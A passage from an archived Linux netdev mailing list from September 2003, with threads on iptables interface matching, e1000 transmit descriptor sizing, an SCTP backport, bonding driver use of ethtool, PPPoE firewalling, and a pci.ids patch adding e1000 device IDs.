ipt_physdev.c alignment problems on parisc64 In-Reply-To: <20030912085606.GC2350@obroa-skai.de.gnumonks.org> Message-ID: References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <1063330846.1028.11.camel@jzny.localdomain> <20030912085606.GC2350@obroa-skai.de.gnumonks.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5843 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: blueflux@koffein.net Precedence: bulk X-list: netdev Content-Length: 1091 Lines: 31 On Fri, 12 Sep 2003, Harald Welte wrote: > > Imagine somebody with lots of ppp interfaces (let's say 40)... and we > would need to resolve all 40 into ifindexes, put them into an array... > how big would you like to make the array? how many interfaces do people > have? how much space do you want to waste (dynamically reallocating this > space while the ruleset is already loaded is not possible). > Just to add my point o this, and to say that it is actually used in real-world. We have several (>30) machines with 120 modems each, each running a pppd (modem pool, yes), and some 300-400 iptables rules on each machine. > And then you have 1000 rules, each of it using a ppp* style match. than > at every ifdown/ifup you iterate over 1000 rules, checking if you need > to update one of the 40 ifindexes? quite slow... > > > cheers, > > jamal > - Harald Welte http://www.netfilter.org/ ---- Oskar Andreasson http://www.frozentux.net http://iptables-tutorial.frozentux.net http://ipsysctl-tutorial.frozentux.net mailto:blueflux@koffein.net From hadi@cyberus.ca Fri Sep 12 05:44:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 05:45:11 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CCivYa025182 for ; Fri, 12 Sep 2003 05:44:58 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xnIG-000EIT-00; Fri, 12 Sep 2003 08:44:56 -0400 Subject: RE: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: "Feldman, Scott" Cc: Jeff Garzik , netdev@oss.sgi.com, ricardoz@us.ibm.com In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1063370664.1028.85.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Sep 2003 08:44:24 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5844 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 3598 Lines: 77 On Fri, 2003-09-12 at 01:13, Feldman, Scott wrote: > > Feldman, Scott wrote: > > > * Change the default number of Tx descriptors from 256 to 1024. > > > Data from [ricardoz@us.ibm.com] shows it's easy to overrun > > > the Tx desc queue. > > > > > > All e1000 patches applied except this one. > > > > You're just wasting memory. > > 256 descriptors does sound like enough, but what about the fragmented > skb case? MAX_SKB_FRAGS is (64K/4K + 2) = 18, and each fragment gets > mapped to one descriptor. It even gets worse with e1000 because we may > need to split a fragment into two fragments in the driver to workaround > hardware errata. :-( > > It would be interesting to see the frags:skb ratio for 2.6 with TSO > enabled and disabled with Rick's test. So our effective number of > descriptors needs to be adjusted by that ratio. I agree with David that > it's wasteful for the device driver to worry about more than > dev->tx_queue_len, but that's in skb units, not descriptor units. > Ok, i overlooked the frags part. Donald Becker is the man behind setting the # of descriptors to either 32 or 64 for 10/100. I think i saw some email from him once on how he reached the conclusion to choose those numbers. Note, this was before zero copy tx and skb frags. Someone needs to talk to Donald and come up with values that make more sense for Gige and skb frags. It would be nice to see how the numbers are derived. > On the other hand, if we're always running the descriptor ring near > empty, we've got other problems. It seems to reason that it doesn't > matter how big the ring is if we're in that situation. If the CPU can > overrun the device, expanding the queues between the CPU and the device > may help with bursts but gets you nothing for a sustained load. > Well, theres only one way out that device ;-> and it goes out at a max rate of Gige. If you have sustained incoming rates from the CPU(s) of greater than Gige, then you are fucked anyways and you are better to drop at the scheduler queue. > I flunked that queuing theory class anyway, so what do I know? Every > time I get stuck in a traffic slug on the freeway, I think about that > class. Hey, that means my car is like an skb, so maybe longer roads > would help? Not! Note we do return an indication that the packet was dropped. What you do with that information is relative. TCP makes use of it in the kernel which makes sense. UDP congestion control is mostly under the influence of the UDP app in user space. The impedance between user space and kernel makes that info useless to the UDP app especially in cases when the system is overloaded (which is where this matters most). This is of course theory and someone who really wants to find out should experiment. I would be pleasantly shocked if it turned out the info to the UDP app was useful. An interesting thing to try , which violates UDP, is to have UDP requeue a packet back to the socket queue in the kernel everytime an indication is received that the scheduler queue dropped the packet. User space by virtue of UDP sock queue not emptying should find out soon and slow down. All this is really speculation: A UDP app that really care about congestion should factor it from an end to end perspective and use the big socket queues suggested to buffer things. To give anology to your car, if you only find out half way later that there was a red light a few meters back then that info is useless. If you dont get hit and reverse you may find that infact the light has turned to green which is again useless ;-> cheers, jamal From hadi@cyberus.ca Fri Sep 12 05:55:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 05:55:11 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CCt6Ya025884 for ; Fri, 12 Sep 2003 05:55:07 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xnS0-000FYk-00; Fri, 12 Sep 2003 08:55:01 -0400 Subject: Re: ipt_physdev.c alignment problems on parisc64 From: jamal Reply-To: hadi@cyberus.ca To: Harald Welte Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: <20030912085606.GC2350@obroa-skai.de.gnumonks.org> References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <1063330846.1028.11.camel@jzny.localdomain> <20030912085606.GC2350@obroa-skai.de.gnumonks.org> Content-Type: text/plain Organization: jamalopolis Message-Id: <1063371268.1031.96.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Sep 2003 08:54:29 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5845 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 2071 Lines: 52 On Fri, 2003-09-12 at 04:56, Harald Welte wrote: > On Thu, Sep 11, 2003 at 09:40:46PM -0400, jamal wrote: > > Harald, > > > > Could you not resolve all the ifindices of the said ppp+ interfaces > > at rule installation time and do an integer compare instead? > > No, this is a different semantic. Ifindexes change when an interface > goes down and comes up again (let's say you have a PPTP tunnel server > which terminates a couple of ppp* interfaces). > If ifindices change for the same device name then that would be a bug. The only time they should change is if a) you reboot or b) you unload a module after ifconfiged down the device(s) and then reload it later. In both cases if you have exactly the same setup, the chances of those ifindices changing are very slim. > What could be done, is register with the netdev notifiers and then at > every ifup/ifdown event change the ifindex[es] in all rules that use > this style of match. > You may wanna listen to new devices being created and add to the ifindex list. > This is what was done in the 2.2 ipchains code, if I am not mistaken. > However, Rusty went for the string-compare solution while implementing > iptables. > > Imagine somebody with lots of ppp interfaces (let's say 40)... and we > would need to resolve all 40 into ifindexes, put them into an array... > how big would you like to make the array? how many interfaces do people > have? how much space do you want to waste (dynamically reallocating this > space while the ruleset is already loaded is not possible). > This is a valid reason for the string compare given the way iptables is architected. > And then you have 1000 rules, each of it using a ppp* style match. than > at every ifdown/ifup you iterate over 1000 rules, checking if you need > to update one of the 40 ifindexes? quite slow... you could optimize. There can be only one ppp* list for all rules to share and you iterate not the rules rather the table which holds the ifindices. Could be 1-2 lookup to find the ifindex if proper hashing is used. cheers, jamal From hadi@cyberus.ca Fri Sep 12 05:56:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 05:56:37 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CCuXYa026237 for ; Fri, 12 Sep 2003 05:56:34 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xnTT-000FhU-00; Fri, 12 Sep 2003 08:56:32 -0400 Subject: Re: ipt_physdev.c alignment problems on parisc64 From: jamal Reply-To: hadi@cyberus.ca To: Oskar Andreasson Cc: Harald Welte , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <1063330846.1028.11.camel@jzny.localdomain> <20030912085606.GC2350@obroa-skai.de.gnumonks.org> Content-Type: text/plain Organization: jamalopolis Message-Id: <1063371359.1027.99.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Sep 2003 08:56:00 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5846 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 433 Lines: 15 On Fri, 2003-09-12 at 06:56, Oskar Andreasson wrote: > Just to add my point o this, and to say that it is actually used in > real-world. We have several (>30) machines with 120 modems each, each > running a pppd (modem pool, yes), and some 300-400 iptables rules on each > machine. > How it is presented to the user - and how it is actually implemented are two different things. you could still enter it as ppp+ cheers, jamal From damien.morange@hp.com Fri Sep 12 06:46:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 06:46:11 -0700 (PDT) Received: from grerelint01.net.external.hp.com (grerelint01.net.external.hp.com [192.6.111.88]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CDjvYa027920 for ; Fri, 12 Sep 2003 06:46:01 -0700 Received: from garonne.grenoble.hp.com (garonne.grenoble.hp.com [15.128.14.138]) by grerelint01.net.external.hp.com (Postfix) with ESMTP id A990137E4E; Fri, 12 Sep 2003 15:45:56 +0200 (CEST) Received: by garonne.grenoble.hp.com with Internet Mail Service (5.5.2655.55) id ; Fri, 12 Sep 2003 15:45:56 +0200 Message-ID: From: "MORANGE,DAMIEN (HP-France,ex1)" To: "'linux-net@vger.kernel.org'" , "'netdev@oss.sgi.com'" , "'davem@redhat.com'" Cc: "'samudrala@us.ibm.com'" , "'lksctp-developers@lists.sourceforge.net'" Subject: [PATCH] lksctp 0.6.9 backport on 2.4.23-pre3 Date: Fri, 12 Sep 2003 15:45:40 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5847 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: damien.morange@hp.com Precedence: bulk X-list: netdev Content-Length: 2757 Lines: 87 Hi, Catching up on moving 2.4.20+ target, here is a set of patches to backport lksctp on top of 2.4.23-pre3[*], ready (IMHO) for integration into 2.4.x. It consists in 3 patches, described in details (and referenced) below. They are uploaded in the "Patches" section of the lksctp project page on Sourceforge. Comments welcome. Please Cc: lksctp-developers in reply, as I am not currently subscribed to netdev. TIA. Best regards, [*] it will not work on 2.4.20 & previous versions, as the required upward packet distribution was integrated between 2.4.20 & 2.4.21 and onwards. [1/3] LKSCTP 0.6.9 backport on kernel 2.4.23-pre3 This patch is the first of a bundle of 3. It adds the necessary changes to the kernel IP stack so that SCTP can perform PMTU discovery. No other SCTP-specific changes. This patch only affects existing kernel files. The resulting kernel is functionally unchanged. [1/3] lksctp 0.6.9 on kernel 2.4.23-pre3 [2/3] LKSCTP 0.6.9 backport on kernel 2.4.23-pre3 This patch is the second of a bundle of 3. This patch modifies the kernel existing files to add the SCTP functionality. It cannot work without the 3rd patch of this serie, but is issued to better highlight the required changes. This patch requires the [1/3] patch. The kernel resulting from [2/3] patching will not compile, until [3/3] is also applied. [2/3] lksctp 0.6.9 on kernel 2.4.23-pre3 [3/3] LKSCTP 0.6.9 backport on kernel 2.4.23-pre3 This patch is the 3rd of a bundle of 3. This patch consists only in new files, added for SCTP support. It adds the SCTP protocol & sockets layers to the IP stack. This patchs requires patches [1/3] & [2/3] to be applied. A kernel resulting from the patching using the whole set of patch is a 2.4.23-pre3 with SCTP support. [3/3] lksctp 0.6.9 on kernel 2.4.23-pre3 PS: This is the last version of a number of patchsets submitted to lksctp team. Compared to the last series of patches we have produced on top of 2.4.22-rc2, there have been no functional changes but the single_open()/single_release() interface changes that have been moved from the compatibility header (include/net/sctp/compat.h) and exported in kernel/ksyms.c -- Damien Morange From blueflux@koffein.net Fri Sep 12 06:58:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 06:58:09 -0700 (PDT) Received: from oskar-lap.agatha (lennart.direct2internet.com [217.115.36.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CDvxYa029565 for ; Fri, 12 Sep 2003 06:58:00 -0700 Received: by oskar-lap.agatha (Postfix, from userid 1000) id 5829770B15; Fri, 12 Sep 2003 15:55:25 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by oskar-lap.agatha (Postfix) with ESMTP id 4299C3CB5F; Fri, 12 Sep 2003 15:55:25 +0200 (CEST) Date: Fri, 12 Sep 2003 15:55:25 +0200 (CEST) From: Oskar Andreasson X-X-Sender: blueflux@oskar-lap.agatha To: jamal Cc: Harald Welte , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 In-Reply-To: <1063371359.1027.99.camel@jzny.localdomain> Message-ID: References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <1063330846.1028.11.camel@jzny.localdomain> <20030912085606.GC2350@obroa-skai.de.gnumonks.org> <1063371359.1027.99.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5848 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: blueflux@koffein.net Precedence: bulk X-list: netdev Content-Length: 663 Lines: 24 On Fri, 12 Sep 2003, jamal wrote: > > How it is presented to the user - and how it is actually implemented are > two different things. > you could still enter it as ppp+ > Of course I am aware of that, I just wanted to push my view on it since I believe there must be many more than us doing the same thing (or more modems per machine for that matter). However, I was a little bit worried that someone might be pushing a solution that may be much slower in our way of looking at it ;). > cheers, > jamal > ---- Oskar Andreasson http://www.frozentux.net http://iptables-tutorial.frozentux.net http://ipsysctl-tutorial.frozentux.net mailto:blueflux@koffein.net From willy@www.linux.org.uk Fri Sep 12 07:27:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 07:27:42 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CERWYa031011 for ; Fri, 12 Sep 2003 07:27:33 -0700 Received: from willy by www.linux.org.uk with local (Exim 4.22) id 19xotW-0002UE-Nj; Fri, 12 Sep 2003 15:27:30 +0100 Date: Fri, 12 Sep 2003 15:27:30 +0100 From: Matthew Wilcox To: bonding-devel@lists.sourceforge.net, Amir Noam Cc: netdev@oss.sgi.com Subject: Bonding driver makes bad use of ethtool Message-ID: <20030912142730.GA21596@parcelfarce.linux.theplanet.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5849 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@debian.org Precedence: bulk X-list: netdev Content-Length: 582 Lines: 13 ethtool is being abused by the bonding driver. ifenslave is passing in which ABI version it wants to use via the ETHTOOL_GDRVINFO call. This cannot continue in the ethtool_ops scheme, and it's my opinion this shouldn't've been done in the first place. I suggest a new ioctl to set your ABI version and delete this bad use of ETHTOOL_GDRVINFO. -- "It's not Hollywood. War is real, war is primarily not about defeat or victory, it is about death. I've seen thousands and thousands of dead bodies. Do you think I want to have an academic debate on this subject?" -- Robert Fisk From cfriesen@nortelnetworks.com Fri Sep 12 07:32:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 07:32:17 -0700 (PDT) Received: from zcars04f.nortelnetworks.com (zcars04f.nortelnetworks.com [47.129.242.57]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CEWCYa032128 for ; Fri, 12 Sep 2003 07:32:13 -0700 Received: from zcard307.ca.nortel.com (zcard307.ca.nortel.com [47.129.242.67]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h8CEW5s18881; Fri, 12 Sep 2003 10:32:05 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SWRG5TSX; Fri, 12 Sep 2003 10:32:05 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id Q8C6KZBW; Fri, 12 Sep 2003 10:32:05 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 411F22D957; Fri, 12 Sep 2003 10:32:04 -0400 (EDT) Message-ID: <3F61D8E4.6020309@nortelnetworks.com> Date: Fri, 12 Sep 2003 10:32:04 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: firewalling PPPOE stream without terminating it Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5850 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev Content-Length: 1025 Lines: 24 I've got a PPPOE DSL line coming into my house, and I and my roommates each terminate our own connection and get our own dynamic IP address. With the recent bunch of viruses/worms, a couple of us were thinking about setting up a box as a transparent firewalling bridge. The only tricky bit is that we don't want to terminate the PPPOE connection at that box, since that would then force us to do NAT/ipmasq. Does anyone know of any way to filter the contents of a tunnelled packet (PPPOE in particular) using standard tools like ebtables/iptables? The other possibility I had considered was a netfilter module that tied into the ebtables hooks and knew how to look inside the PPPOE packet, but then I wouldn't get the userspace interface from ebtables/iptables. Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From shmulik.hen@intel.com Fri Sep 12 07:55:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 07:55:37 -0700 (PDT) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CEtSYa003394 for ; Fri, 12 Sep 2003 07:55:29 -0700 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8CEnpU22459 for ; Fri, 12 Sep 2003 14:49:51 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8CEwWx00594 for ; Fri, 12 Sep 2003 14:58:32 GMT Received: from hasmsx331.ger.corp.intel.com ([143.185.63.144]) by hasmsxvs01.iil.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091217552128363 ; Fri, 12 Sep 2003 17:55:21 +0300 Received: from hasmsx403.ger.corp.intel.com ([143.185.63.109]) by hasmsx331.ger.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 12 Sep 2003 17:55:21 +0300 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: Bonding driver makes bad use of ethtool Date: Fri, 12 Sep 2003 17:55:21 +0300 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Bonding driver makes bad use of ethtool Thread-Index: AcN5Oj5m7TiQuAs4SYyVGvl92vfjiwAAV1Ww From: "Hen, Shmulik" To: "Matthew Wilcox" , , "Noam, Amir" Cc: X-OriginalArrivalTime: 12 Sep 2003 14:55:21.0415 (UTC) FILETIME=[E38D2570:01C3793D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8CEtSYa003394 X-archive-position: 5851 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 1901 Lines: 45 > -----Original Message----- > From: Matthew Wilcox [mailto:willy@debian.org] > Sent: Friday, September 12, 2003 5:28 PM > To: bonding-devel@lists.sourceforge.net; Noam, Amir > Cc: netdev@oss.sgi.com > Subject: Bonding driver makes bad use of ethtool > > > > ethtool is being abused by the bonding driver. ifenslave is passing > in which ABI version it wants to use via the ETHTOOL_GDRVINFO call. > This cannot continue in the ethtool_ops scheme, and it's my opinion this > shouldn't've been done in the first place. > > I suggest a new ioctl to set your ABI version and delete this bad use > of ETHTOOL_GDRVINFO. > > -- > "It's not Hollywood. War is real, war is primarily not about defeat or > victory, it is about death. I've seen thousands and thousands of dead bodies. > Do you think I want to have an academic debate on this subject?" -- Robert Fisk > > ---------1---------2---------3---------4---------5---------6---------7---------8 For the next feature enhancement for bonding, which will enable hot operations, we're adding a new ioctl hook the same way other intermediate network drivers like VLAN and bridging drivers have. It will be able to take care of exactly that. In general, since bonding is an Ethernet like device, shouldn't it also be able to support ethtool calls ? We've noticed that the tool itself refuses to talk to bonding, probably since the device name isn't 'ethX', but it could be made to support all non-hardware specific ethtool options so management applications and network startup scripts would benefit from the enhanced support (e.g. add support for ethtool's get link status query so the ifup script would be able to configure bonding when DHCP is enabled, etc.). -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From jgarzik@pobox.com Fri Sep 12 09:09:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 09:09:20 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CG99Ya005952 for ; Fri, 12 Sep 2003 09:09:10 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:40188 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xqTs-0000t9-3n; Fri, 12 Sep 2003 17:09:08 +0100 Message-ID: <3F61EF99.8090200@pobox.com> Date: Fri, 12 Sep 2003 12:08:57 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: [PATCH 2.6] pci.ids for e1000 References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5852 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 5858 Lines: 137 Feldman, Scott wrote: > * Add missing Device and Subdevice IDs for devices support by e1000. I've > updated pciids.sourceforge.net, but those changes don't seem to be getting > approved/pushed out. How motivated are you? ;-) The general idea is to keep 2.4, 2.6, and pciids.sf.net in sync. Could you be talked into comparing 2.4, 2.6, and pciids.sf.net, and creating patches for 2.4 and 2.6 that add missing ids? ;-) Martin Mares (pciids.sf.net maintainer) did a big sync-up less than 12 months ago, so the job shouldn't be as big as it sounds. If not, no big deal. Just say "no" and I'll apply the patch below, instead of waiting for the larger patches... Jeff > ---------------- > > --- linux-2.6.0-test5/drivers/pci/pci.ids 2003-09-08 12:50:06.000000000 -0700 > +++ linux-2.6.0-test5/drivers/pci/pci.ids.new 2003-09-11 17:45:32.000000000 -0700 > @@ -6228,28 +6228,73 @@ > 8086 1004 PRO/1000 T Server Adapter > 8086 2004 PRO/1000 T Server Adapter > 1008 82544EI Gigabit Ethernet Controller (Copper) > + 1014 0269 iSeries 1000/100/10 Ethernet Adapter > + 1028 011c PRO/1000 XT Network Connection > 8086 1107 PRO/1000 XT Server Adapter > 8086 2107 PRO/1000 XT Server Adapter > 8086 2110 PRO/1000 XT Server Adapter > + 8086 3108 PRO/1000 XT Network Connection > 1009 82544EI Gigabit Ethernet Controller (Fiber) > + 1014 0268 iSeries Gigabit Ethernet Adapter > 8086 1109 PRO/1000 XF Server Adapter > 8086 2109 PRO/1000 XF Server Adapter > 100c 82544GC Gigabit Ethernet Controller (Copper) > 8086 1112 PRO/1000 T Desktop Adapter > 8086 2112 PRO/1000 T Desktop Adapter > 100d 82544GC Gigabit Ethernet Controller (LOM) > + 1028 0123 PRO/1000 XT Network Connection > + 107b 891f 82544GC Based Network Connection > + 8086 110d 82544GC Based Network Connection > 100e 82540EM Gigabit Ethernet Controller > + 1014 0265 PRO/1000 MT Network Connection > + 1014 0267 PRO/1000 MT Network Connection > + 1014 026a PRO/1000 MT Network Connection > + 107b 8920 PRO/1000 MT Desktop Adapter > 8086 001e PRO/1000 MT Desktop Adapter > 8086 002e PRO/1000 MT Desktop Adapter > 100f 82545EM Gigabit Ethernet Controller (Copper) > + 1014 0269 iSeries 1000/100/10 Ethernet Adapter > + 1014 028e PRO/1000 MT Network Connection > + 8086 1000 PRO/1000 MT Network Connection > 8086 1001 PRO/1000 MT Server Adapter > 1010 82546EB Gigabit Ethernet Controller (Copper) > + 1014 027c PRO/1000 MT Dual Port Network Adapter > 8086 1011 PRO/1000 MT Dual Port Server Adapter > + 8086 101a PRO/1000 MT Dual Port Network Adapter > 1011 82545EM Gigabit Ethernet Controller (Fiber) > + 1014 0268 iSeries Gigabit Ethernet Adapter > 8086 1002 PRO/1000 MF Server Adapter > + 8086 1003 PRO/1000 MF Server Adapter (LX) > 1012 82546EB Gigabit Ethernet Controller (Fiber) > 8086 1012 PRO/1000 MF Dual Port Server Adapter > 1015 82540EM Gigabit Ethernet Controller (LOM) > + 1016 82540EP Gigabit Ethernet Controller > + 1014 052C PRO/1000 MT Mobile Connection > + 1179 0001 PRO/1000 MT Mobile Connection > + 8086 1016 PRO/1000 MT Mobile Connection > + 1017 82540EP Gigabit Ethernet Controller > + 8086 1017 PR0/1000 MT Desktop Connection > + 1018 82541EP Gigabit Ethernet Controller > + 8086 1018 PRO/1000 MT Desktop Adapter > + 1019 82547EI Gigabit Ethernet Controller > + 8086 1019 PRO/1000 CT Desktop Adapter > + 101d 82546EB Gigabit Ethernet Controller > + 8086 1000 PRO/1000 MT Quad Port Server Adapter > + 101e 82540EP Gigabit Ethernet Controller > + 1014 0549 PRO/1000 MT Mobile Connection > + 8086 101e PRO/1000 MT Mobile Connection > + 1026 82545GM Gigabit Ethernet Controller > + 8086 1000 PRO/1000 MT Server Connection > + 8086 1001 PRO/1000 MT Server Adapter > + 8086 1002 PRO/1000 MT Server Adapter > + 8086 1026 PRO/1000 MT Server Connection > + 1027 82545GM Gigabit Ethernet Controller > + 8086 1001 PRO/1000 MF Server Adapter(LX) > + 8086 1002 PRO/1000 MF Server Adapter(LX) > + 8086 1003 PRO/1000 MF Server Adapter(LX) > + 8086 1027 PRO/1000 MF Server Adapter > + 1028 82545GM Gigabit Ethernet Controller > + 8086 1028 PRO/1000 MB Server Adapter > 1029 82559 Ethernet Controller > 1030 82559 InBusiness 10/100 > 1031 82801CAM (ICH3) PRO/100 VE (LOM) Ethernet Controller > @@ -6279,6 +6324,31 @@ > 8086 a01f PRO/10GbE LR Server Adapter > 8086 a11f PRO/10GbE LR Server Adapter > 1059 82551QM Ethernet Controller > + 1075 82547EI Gigabit Ethernet Controller > + 8086 0075 PRO/1000 CT Network Connection > + 8086 1075 PRO/1000 CT Network Connection > + 1076 82541EI Gigabit Ethernet Controller > + 8086 0076 PRO/1000 MT Network Connection > + 8086 1076 PRO/1000 MT Network Connection > + 8086 1176 PRO/1000 MT Desktop Adapter > + 